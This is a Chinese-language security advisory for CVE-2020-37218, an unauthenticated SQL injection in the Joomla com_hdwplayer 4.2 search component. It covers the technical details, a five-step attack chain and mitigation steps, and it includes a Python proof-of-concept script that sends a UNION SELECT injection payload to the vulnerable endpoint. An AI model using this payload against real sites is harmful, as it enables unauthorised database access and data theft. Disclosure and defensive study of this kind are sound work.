IPBUF安全漏洞报告
English
CVE-2020-37218 CVSS 8.2 高危

CVE-2020-37218 Joomla组件SQL注入漏洞

披露日期: 2026-05-13

漏洞信息

漏洞编号
CVE-2020-37218
漏洞类型
SQL注入
CVSS评分
8.2 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Joomla com_hdwplayer

相关标签

SQL注入Joomlacom_hdwplayer高危无需认证数据泄露

漏洞概述

Joomla的com_hdwplayer组件4.2版本存在严重的SQL注入漏洞。该漏洞源于search.php文件未对用户输入的hdwplayersearch参数进行安全过滤,导致攻击者无需认证即可通过POST请求注入恶意SQL代码。成功利用此漏洞可允许攻击者从hdwplayer_videos表中提取敏感数据,造成信息泄露。

技术细节

该漏洞的技术核心在于search.php文件对`hdwplayersearch`参数的不安全处理。当组件接收搜索请求时,它直接将用户输入拼接到SQL查询语句中,未使用预处理语句或严格的输入验证。由于该接口无需身份验证(PR:N),任何能够访问网络的攻击者均可发起攻击。攻击者可以通过发送包含SQL元字符(如单引号、注释符)的POST请求,构造UNION SELECT查询来操纵数据库逻辑。利用方式包括基于布尔或时间的盲注,以及基于错误的注入,从而从`hdwplayer_videos`表中窃取视频标题、路径等敏感信息,甚至进一步渗透数据库。

攻击链分析

STEP 1
侦察
攻击者识别目标网站运行Joomla CMS并安装了com_hdwplayer组件。
STEP 2
武器化
攻击者构造恶意的SQL注入Payload,针对hdwplayersearch参数,旨在从hdwplayer_videos表中提取数据。
STEP 3
交付
攻击者向目标服务器的search.php接口发送特制的HTTP POST请求,Payload被注入到hdwplayersearch参数中。
STEP 4
利用
后端数据库接收到未经过滤的输入并执行恶意SQL语句,导致查询逻辑被改变。
STEP 5
渗出
数据库返回查询结果(如错误信息或敏感数据),攻击者通过分析响应获取hdwplayer_videos表中的敏感信息。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def exploit_cve_2020_37218(target_url): """ PoC for CVE-2020-37218 (Joomla com_hdwplayer SQL Injection) """ # The vulnerable parameter is 'hdwplayersearch' via POST request # The endpoint is typically /index.php?option=com_hdwplayer&view=search url = f"{target_url}/index.php?option=com_hdwplayer&view=search" # Malicious payload to test SQL injection # Attempting a basic UNION based injection to extract data payload_data = { "hdwplayersearch": "' UNION SELECT NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL-- -" } headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36", "Content-Type": "application/x-www-form-urlencoded" } try: response = requests.post(url, data=payload_data, headers=headers, timeout=10) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Check the response content for database errors or leaked data.") # Analyze response for SQL syntax errors or data leakage if "syntax error" in response.text.lower() or "mysql" in response.text.lower(): print("[!] Potential SQL vulnerability detected via error message.") else: print(f"[-] Request failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": target = "http://127.0.0.1" # Replace with the actual target URL exploit_cve_2020_37218(target)

影响范围

Joomla com_hdwplayer 4.2

防御指南

临时缓解措施
建议立即将com_hdwplayer组件升级到最新版本以修复此漏洞。如果无法立即升级,应限制对组件搜索功能的访问,或者在代码层面对search.php中的hdwplayersearch参数进行强制类型检查和特殊字符过滤,阻断SQL注入语句的执行。

参考链接